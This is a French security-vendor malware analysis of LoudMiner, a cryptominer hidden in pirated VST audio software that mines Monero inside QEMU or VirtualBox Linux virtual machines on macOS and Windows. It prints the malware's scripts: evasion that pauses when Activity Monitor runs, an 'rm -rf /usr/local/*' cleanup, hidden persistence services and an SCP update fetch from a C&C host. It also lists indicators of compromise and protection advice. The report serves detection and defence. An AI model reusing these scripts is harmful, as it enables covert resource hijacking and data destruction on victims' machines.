Introduction

LoudMiner est un cas inhabituel de mineur de cryptomonnaie persistant, distribué pour macOS et Windows depuis août 2018. Il utilise un logiciel de virtualisation - QEMU sous macOS et VirtualBox sous Windows - pour extraire des cryptomonnaie sur une machine virtuelle Tiny Core Linux, ce qui la rend multiplateforme. Il est livré avec des copies piratées de logiciels VST. Le mineur lui-même est basé sur XMRig (Monero) et utilise un pool minier, il est donc impossible de retracer les transactions potentielles.

Distribution

Au moment de la rédaction du présent rapport, 137 applications VST (42 pour Windows et 95 pour MacOS) sont disponibles sur un seul site Web basé sur WordPress avec un domaine enregistré le 24 août 2018. La première application - Kontakt Native Instruments 5.7 pour Windows - a été téléchargée le même jour. La taille des applications ne permet pas de les analyser toutes, mais il semble sûr de supposer qu'elles sont toutes troyanisées.

Les applications elles-mêmes ne sont pas hébergées sur le site basé sur WordPress, mais sur 29 serveurs externes, que vous pouvez trouver dans la section IoCs. Les administrateurs du site mettent aussi fréquemment à jour les applications avec des versions plus récentes, ce qui rend difficile le suivi de la toute première version du mineur.

En ce qui concerne la nature des applications visées, il est intéressant d'observer que leur finalité est liée à la production audio; ainsi, les machines sur lesquelles elles sont installées devraient avoir une bonne puissance de traitement et une consommation CPU élevée ne surprendra pas les utilisateurs. En outre, ces applications sont généralement complexes, il n'est donc pas surprenant qu'il s'agisse de fichiers volumineux. Les attaquants l'utilisent à leur avantage pour camoufler l'image de VM. De plus, la décision d'utiliser des machines virtuelles au lieu d'une solution allégée est tout à fait remarquable et ce n'est pas quelque chose que nous voyons régulièrement.

Voici quelques exemples d'applications, ainsi que quelques commentaires que vous pouvez trouver sur le site :

  • Propellerhead Reason
  • Ableton Live
  • Sylenth1
  • Nexus
  • Reaktor 6
  • AutoTune

Figure 1 - Commentaire #1 de « admin »

Figure 2 - Commentaire #2 de « admin »

Rapports des utilisateurs

Nous avons trouvé plusieurs discussions de forum d'utilisateurs se plaignant d'un processus qemu-system-x86_64 prenant 100 % de leur CPU sur leur Mac:

Figure 3 - Rapport de l’utilisateur #1 (https://discussions.apple.com/thread/250064603)

Figure 4 - Rapport de l’utilisateur #2 (https://toster.ru/q/608325)

Un utilisateur nommé Macloni (https://discussions.apple.com/thread/8602989) a déclaré ce qui suit :

« Malheureusement, j'ai dû réinstaller OSX, le problème était qu'Ableton Live 10, que j'ai téléchargé depuis un site torrent et non depuis le site officiel, installe aussi un mineur, s'exécutant en arrière-plan à l'origine. Le même utilisateur a joint des captures d'écran du Activity Monitor indiquant 2 processus – qemu-system-x86_64 et tools-service – prenant 25 % des ressources CPU et fonctionnant comme root. »

Analyse des applications piratées

L'idée générale des analyses MacOS et Windows demeure la même :

  1. Une application est fournie avec un logiciel de virtualisation, une image Linux et des fichiers supplémentaires utilisés pour obtenir la persistance;
  2. L'utilisateur télécharge l'application et suit les instructions jointes pour l'installer;
  3. LoudMiner est installé en premier, puis le logiciel VST proprement dit;
  4. LoudMiner se cache et devient persistant au redémarrage;
  5. La machine virtuelle Linux est lancée et l'exploitation minière commence;
  6. Les scripts à l'intérieur de la machine virtuelle peuvent contacter le serveur C&C pour mettre à jour le mineur (configuration et binaires).

En analysant les différentes applications, nous avons identifié quatre versions du mineur, principalement basées sur la façon dont il est livré avec le logiciel, le domaine du serveur C&C, et quelque chose que nous pensons être une chaîne de version créée par l'auteur.

macOS

Nous avons identifié jusqu'à présent trois versions MacOS de ce malware. Tous incluent des dépendances nécessaires à l'exécution de QEMU dans le fichier installdata.dmg à partir duquel tous les fichiers sont copiés dans /usr/local/bin et ont les permissions appropriées définies en cours de route. Chaque version du mineur peut exécuter deux images à la fois, chacune prenant 128 Mo de RAM et un processeur central. La persistance est obtenue en ajoutant des fichiers plist dans /Library/LaunchDaemons avec RunAtLoad défini sur true. Ils ont également réglé KeepAlive sur true, ce qui garantit que le processus redémarrera s'il est arrêté. Chaque version possède les composants suivants :

  1. QEMU Linux images;
  2. Les scripts shell utilisés pour lancer les images QEMU;
  3. Les daemons avaient l'habitude de démarrer les scripts shell au démarrage et de les faire tourner;
  4. Un script shell de moniteur CPU avec un daemon d'accompagnement qui peut démarrer/arrêter l'exploitation minière en fonction de l'utilisation du CPU et de l'exécution du processus Activity Monitor.

Le script du moniteur CPU peut démarrer et arrêter l'extraction en chargeant et déchargeant le daemon. Si le processus Activity Monitor est en cours d'exécution, l'exploitation minière s'arrête. Sinon, il vérifie pendant combien de temps le système est resté inactif en quelques secondes :

ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'

Si ça fait plus de 2 minutes, l'exploitation minière débute. Si cela fait moins de 2 minutes, il vérifie l'utilisation totale du CPU :

ps -A -o %cpu | awk '{s+=$1} END {print s }'

divise cela par le nombre de CPU cores:

sysctl hw.logicalcpu |awk '{print $2 }')

et si c'est supérieur à 85 %, ça arrête l'exploitation minière. Le script lui-même est un peu différent d'une version à l'autre, mais l'idée générale reste la même.

Une fois l'installation terminée, tous les fichiers d'installation relatifs aux mineurs sont supprimés.

Figure 5. - Installation de Polyverse.Music.Manipulator.v1.0.1.macOS.dmg

Figure 6 – Instructions de configuration de Polyverse.Music.Manipulator.v1.0.1.macOS.dmg 

Version 1

Les fichiers des mineurs dans le paquet d'application téléchargé ne sont en aucun cas obscurcis ou placés dans un autre paquet; ils sont installés à côté du logiciel dans les endroits suivants :

  • /Library/Application Support/.Qemusys
    • qemu-system-x86_64– nettoie le binaire QEMU
    • sys00_1-disk001.qcow2– Image Linux (première)
    • qemuservice– shell script qui lance la première image via le binaire qemu-system-x86_64 (voir binaire 1)
  • /Library/Application Support/.System-Monitor
    • system-monitor.daemon– qui lance la première image via le binaire system-monitor
  • /usr/local/bin
    • .Tools-Service
      • sys00_1-disk001.qcow2– image Linux (deuxième)
      • tools-service.daemon– lance la deuxième image via le binaire tools-service
    • cpumonitor– démarre et arête le minage selon le temps mort et l’image CPU
    • system-monitor– copie du binaire qemu-system-x86_64
    • tools-service– copie du binaire qemu-system-x86_64
  • /Library/LaunchDaemons
    • system-monitor.plist– lance system-monitor.daemon
    • tools-service.plist– lance tools-service.daemon
    • qemuservice.plist– lance qemuservice
    • cpumonitor.plist– lance cpumonitor
#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;

Script 1 – shell script  qemuservice

Une fois les dépendances copiées, tous les daemons liés au minage sont lancés, puis le logiciel proprement dit est installé :

  • qemuservice ne lancera pas l'image si le processus Activity Monitor est en cours d'exécution. En fait, s'il est en marche, il déchargera le plist par lequel il a été lancé.
  • tools-service.daemon lancera l'image uniquement lorsque le processus qemu-system-x86_64 n'est pas exécuté et après 45 minutes de sommeil.
  • System-monitor.daemon ne lancera l'image que si Intel i5, i7 ou i9 CPU est détecté.

Ces scripts utilisent la même commande pour lancer l'image QEMU, et seuls leurs noms et chemins d'image diffèrent.

Nous avons trouvé la capture d'écran suivante concernant la version 1 du mineur :

Figure 7 - Consommation CPU de QEMU avec Little Snitch (source: https://imgur.com/a/sc3u6kk)

C'est grâce à des indications données par Little Snitch que certaines connexions du processus qemu-system-x86_64 ont été bloquées. Plus précisément, hopto[.]org (un service de nom d'hôte gratuit) est un serveur C&C utilisé par la version 1 du mineur.

Version 2

Les fichiers Miner sont dans data_installer.pkg à l'intérieur du paquet d'application téléchargé. C'est data_installer.pkg qui est installé en premier, puis le logiciel VST. Avant l'installation, la version 1 du mineur est supprimée avec l'exécution de la commande :

rm -rf /usr/local/*

Comme on peut le voir dans la liste du Script 2, il ne le fait que lorsqu'il détecte un processus qemu-system-x86_64 en cours.

#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/ 
rm -rf /usr/local/*
fi
exit 0
}
clear;

Script 2 -  Le script de préinstallation data_installer.pkg, qui supprime la version 1

Les fichiers temporaires suivants sont créés :

  • /Users/Shared
    • z1– binaire QEMU
    • daemon– lance l’image QEMU avec le binaire QEMU
    • qcow2– image QEMU
    • plist– lance z1.daemon
    • z3– Script du CPU du moniteur, avec peu de changements par rapport au cpumonitor de la version 1
    • plist– utilisé pour lancer z3
    • randwd– génère des noms aléatoires

Une fois les dépendances copiées, le mineur est installé. Cette fois, les noms des binaires, plists et répertoires de QEMU sont randomisés avec le script randwd. L'installation du mineur crée deux copies de z1, z1.daemon, z1.qcow2 et z1.plist. Pour chaque copie, voici ce qui se produit :

  • Un repertoire ayant un nom aléatoire est créé dans /Library/Application Support
  • Le binaire QEMU z1 porte le même nom que le répertoire et est copié dans /usr/local/bin
  • daemon (voir la liste dans le Script 3) et z1.qcow2 sont copiés dans le répertoire sous leurs noms aléatoires
  • plist est copié avec le nom com.<nom_aléatoire>.plist dans /Library/LaunchDaemons

Les fichiers z1.daemon, z1.plist, z3 and z3.plist  servent de modèles. Les références à d'autres scripts, binaires, plists, etc. dans ces fichiers sont remplacées par leur nom aléatoire généré correspondant.

Un nom aléatoire est également choisi pour le script shell du moniteur CPU (z3) et son fichier plist. z3 est copié dans /usr/local/bin et le plist dans /Library/LaunchDaemons sous le nom com.<random_name>.plist.

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;

Script 3. Script shell z1.daemon

La version 2 est un peu plus propre et/ou plus simple que la version 1. Il n'y a qu'une seule image QEMU, avec deux copies faites; de même pour les scripts de lancement d'image, les daemons et le cpumonitor. Bien que la version 2 randomise ses noms de fichiers et répertoires, elle ne peut être installée qu'une seule fois car l'installation vérifie l'exécution des processus avec accel=hvf dans leur ligne de commande.

Depuis la version 2 des applications que nous avons vérifiées jusqu'à présent, le hachage SHA1 du fichier data_installer.pkg est toujours 39a7e86368f0e68a86cce975fd9d8c254a86ed93.

Version 3

Les fichiers des mineurs se trouvent dans un fichier DMG crypté, appelé do.dmg, à l'intérieur du paquet d'application. La DMG est montée avec la commande suivante :

1
printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.

Le mineur DMG contient un seul paquet : datainstallero.pkg. Ceci et le paquet de logiciel sont ensuite installés.

Le contenu des paquets datainstallero.pkg et data_installer.pkg de la version 2 sont plus ou moins les mêmes, mais datainstallero.pkg ajoute deux scripts obscurcis - clearpacko.sh et installpacko.sh - et masque un script existant - randwd :

  • clearpacko.sh supprime la version 1 du mineur comme le fait la version 2.
  • installpacko.sh installe le mineur de la même manière que la version 2, sauf que les commentaires ont été supprimés du script.

Le SHA1 de do.dmg reste le même : b676fdf3ece1ac4f96a2ff3abc7ff31c7b867fb9.

Lancement de l'image Linux

Toutes les versions utilisent plusieurs scripts shell pour lancer les images. Les scripts shell sont exécutés par plists au démarrage et sont maintenus en vie.

  • La version 1 exécute les binaires suivants (copies de qemu-system-x86_64) pour lancer les images QEMU : qemu-system-x86_64, system-monitor, tools-service.
  • Les versions 2 et 3 utilisent la même commande, à part le nom de fichier du binaire dans le répertoire Application Support, et le nom de fichier QEMU est aléatoire.

Toutes les versions utilisent les interrupteurs suivants :

  • -M accel=hvf pour utiliser le framework Hypervisor comme accélérateur. La RPLP a été introduite avec OS X 10.10 et la prise en charge de la RPLP a été ajoutée dans QEMU 2.12, qui est sorti en avril 2018.
  • -display none, pour que la machine virtuelle fonctionne sans interface graphique.

Puisque l'image est lancée sans spécifier la quantité de RAM et le nombre de cœurs CPU, les valeurs par défaut sont utilisées : 1 noyau CPU et 128 Mo de RAM. Toutes les versions peuvent lancer 2 images.

Windows (version 4)

A partir des chaînes que nous avons extraites de l'application, nous définissons la seule version de Windows vue jusqu'à présent comme la version 4. Comme nous l'avons mentionné précédemment, la logique est assez similaire à celle de la version macOS. Chaque application Windows est packagée sous la forme d'un programme d'installation MSI qui installe à la fois l'application piratée et la Figure 8 montre le popup de confiance pour installer le pilote VirtualBox lorsque vous exécutez un programme d'installation VST piratée depuis vstcrack[..]com.

Figure 8 - Fenêtre popup Trust pour un pilote VirtualBox lors de l'exécution de l'installation d'une application depuis vstcrack[.]com

VirtualBox est installé dans son nom de dossier habituel (C:\Program Files\Oracle); cependant, les attributs du répertoire sont définis comme « cachés » (ou « hidden »). Ensuite, le programme d'installation copie l'image Linux et VBoxVmService (un service Windows utilisé pour exécuter une machine virtuelle VirtualBox en tant que service) dans C:\vms, qui est aussi un répertoire caché. Une fois l'installation terminée, le programme d'installation exécute un script batch compilé avec BAT2EXE (voir la liste décompressée dans le script 4) pour importer l'image Linux et lance VmServiceControl.exe pour démarrer la machine virtuelle comme un service.

@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"

Script 4 – Lot de scripts utilisé pour exécuter la machine virtuelle Linux en tant que service

Cette méthode est utilisée pour assurer la persistance du mineur après le redémarrage. En effet, VboxVmService est livré avec un fichier de configuration (voir Script 5) dans lequel il est possible d'activer l'option AutoStart pour que la machine virtuelle soit lancée automatiquement au démarrage.

[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes

Scénario 5 - Fichier de configuration pour VBoxVmService avec AutoStart activé.

Le fichier OVF inclus dans l'image Linux décrit la configuration matérielle de la machine virtuelle (voir Script 6) : il utilise 1 Go de RAM et 2 cœurs CPU (avec une utilisation maximale de 90 %).

<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>

Script 6 - Configuration matérielle de l'image Linux

Image Linux

L'image Linux est Tiny Core Linux 9.0 configuré pour exécuter XMRig, ainsi que certains fichiers et scripts pour garder le mineur à jour en permanence. Les fichiers les plus intéressants sont :

  • /root/.ssh/{id_rsa, id_rsa.pub} - la clé de paire SSH utilisée pour mettre à jour le mineur du serveur C&C en utilisant SCP.
  • /opt/{bootsync.sh, bootlocal.sh} - les commandes de démarrage du système qui tentent de mettre à jour le mineur à partir du serveur C&C et de l'exécuter (voir Scripts 7 et 8) :
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin

Script 7. bootsync.sh

/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig

Script 8. bootlocal.sh

  • /mnt/sda1/tools/bin –principaux fichiers et scripts utilisés pour mettre à jour et exécuter le mineur.
  • /mnt/sda1/tools/xmrig – comprend le code source de XMRig (depuis le dépôt GitHub).

La configuration du mineur est stockée dans /mnt/sda1/tools/bin/config.json et contient principalement le nom de domaine et le port utilisés pour le pool de minage, qui peuvent différer selon la version (voir exemples dans la section IoCs).

Le mécanisme de mise à jour s'effectue via SCP (Secure File Copy) par trois scripts différents :

  • xmrig_update - met à jour la configuration du mineur (json);
  • ccommand - met à jour ccommand_update, xmrig_update (voir Script 9), sh, xmrig;
  • ccommand_update - met à jour ccommand.

D'après ce que nous avons observé, la configuration des mineurs est mise à jour une fois par jour.

#!/bin/sh
ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null x01@system-update.is:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json

Script 9. xmrig_update

Afin d'identifier une session d'exploration particulière, un fichier contenant l'adresse IP de la machine et la date du jour est créé par le script idgenerator et sa sortie est envoyée au serveur C&C par le script updater.sh.

Protection

Évidemment, le meilleur conseil pour se protéger contre ce genre de menace est de ne pas télécharger de copies piratées de logiciels commerciaux. Il y a, cependant, quelques conseils qui peuvent vous aider à déterminer si une application contient du code non indésirable :

  • Une fenêtre contextuelle de confiance provenant d'un installateur « supplémentaire » inattendu (dans ce cas, l'adaptateur réseau Oracle).
  • Consommation CPU élevée par un processus que vous n'avez pas installé (QEMU ou VirtualBox dans ce cas).
  • Un nouveau service ajouté à la liste des services de démarrage (Windows) ou un nouveau Démon de lancement (macOS).
  • Connexions réseau à des noms de domaine curieux (tels que les services system-update[.]info ou system-check[.]info ici).

Indicateurs de compromission (IoCs)

Hashes

Applications macOS « craquées » (versions 1-3)

SHA-1 Filename ESET detection name Version number
71030028c4e1b844c85138bd77ddea96a190ec2c Virtual_DJ_8_Pro_Infinity_macOS.pkg OSX/LoudMiner.A 1
32c80edcec4f7bb3b494e8949c6f2014b7f5db65 Native Instruments Massive Installer.pkg OSX/LoudMiner.A 1
7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90 Massive_v1.5.5_Installer_macOS.dmg OSX/LoudMiner.B 2
0b40bd0754637d5be2ada760ff0ecfda7afe03d7 Native_Instruments_Effects_Series_Mod_Pack.dmg OSX/LoudMiner.B 2
88efc767a32299e922f1b41f82c8d584585e2161 Spectrasonics_Omnisphere_2.5_OSx.dmg OSX/LoudMiner.C 3
e9c9d17d006fb03d67b736c0826df0af8ca6d5fd Lennar_Digital_Sylenth1_2.2.1.dmg OSX/LoudMiner.C 3

Applications Windows « craquées » (version 4)

SHA-1 Filename ESET detection name
23faacfc23cfef65504d7fa20854030b96a9df91 Ableton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip Win32/LoudMiner.A
5a8682eae69b2e11d45980941a972bd734630207 Infected-Mushroom-Manipulator-V1.0.3.zip Win32/LoudMiner.A
60a8f1d4a028153271093e815e8267bd25fde852 Sonic_Academy_ANA_2.0.3_x86_x64.msi Win32/LoudMiner.A
7c7876058783da85d5502b9406f7fb4d26f66238 SoundToys_5.0.1_x64-SetupFiles.rar Win32/LoudMiner.A
a1a1dc7876d71749a8bc5690c537451770ef4ab8 Valhalla-DSP-Full-Bundle-setupfiles.zip Win32/LoudMiner.A

Images Linux

SHA-1 Filename Version number
dd9b89a3c5a88fb679f098e2c2847d22350e23b1 sys00_1-disk001.qcow2 1
d1e42e913da308812dd8da1601531b197c1a09a1 sys00_1-disk001.qcow2 1
39a7e86368f0e68a86cce975fd9d8c254a86ed93 z1.qcow2 (renamed with a randomized name) 2
59026ffa1aa7b60e5058a0795906d107170b9e0f z1.qcow2 (renamed with a randomized name) 3
fcf5c3b560295ee330b97424b7354fd321757cc6 sys00_1.ova 4
fc60431a0172d5b8cf4b34866567656467cf861c sys00_1.ova 4

Noms de fichiers

macOS

  • /Library/Application Support/.Qemusys
  • /Library/Application Support/.System-Monitor
  • /usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}
  • /Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}

Windows

  • C:\vms

Hôte

vstcrack[.]com (137[.]74.151.144)

Hôtes de téléchargement (via HTTP au port 80)

  • 185[.]112.156.163
  • 185[.]112.156.29
  • 185[.]112.156.70
  • 185[.]112.157.102
  • 185[.]112.157.103
  • 185[.]112.157.105
  • 185[.]112.157.12
  • 185[.]112.157.181
  • 185[.]112.157.213
  • 185[.]112.157.24
  • 185[.]112.157.38
  • 185[.]112.157.49
  • 185[.]112.157.53
  • 185[.]112.157.65
  • 185[.]112.157.72
  • 185[.]112.157.79
  • 185[.]112.157.85
  • 185[.]112.157.99
  • 185[.]112.158.112
  • 185[.]112.158.133
  • 185[.]112.158.186
  • 185[.]112.158.190
  • 185[.]112.158.20
  • 185[.]112.158.3
  • 185[.]112.158.96
  • d-d[.]host (185[.]112.158.44)
  • d-d[.]live (185[.]112.156.227)
  • d-d[.]space (185[.]112.157.79)
  • m-m[.]icu (185[.]112.157.118)

Hôtes de mise à jour (via SCP)

  • aly001[.]hopto.org (192[.]210.200.87, port 22)
  • system-update[.]is (145[.]249.104.109, port 5100)

Hôte de minage

  • system-update[.]info (185[.]193.126.114, port 443 or 8080)
  • system-check[.]services (82[.]221.139.161, port 8080)

Techniques MITRE ATT&CK

Tactic ID Name Description
Execution T1035 Service Execution On Windows, the Linux image is run as a service with VboxVmService.
Persistence T1050 New Service Install the Linux virtual machine as a service with VboxVmService.
T1062 Hypervisor Install a type-2 hypervisor on the host (VirtualBox or QEMU) to run the miner.
T1160 Launch Daemon The macOS versions use a Launch Daemon to ensure the persistence.
Defense Evasion T1027 Obfuscated Files or Information Some shell scripts are obfuscated, and some installers are encrypted in macOS versions.
T1045 Software Packing Use BAT2EXE to pack batch script in Windows versions.
T1158 Hidden Files and Directories The VirtualBox installation folder and the directory containing the Linux image are hidden.
Command and Control T1043 Commonly Used Port Use TCP ports 443 and 8080 for mining pool communication.
T1105 Remote File Copy Use SCP (port 22 or 5100) to copy files from/to the C&C server.
Impact T1496 Resource Hijacking Use victim machines to mine cryptocurrency (Monero).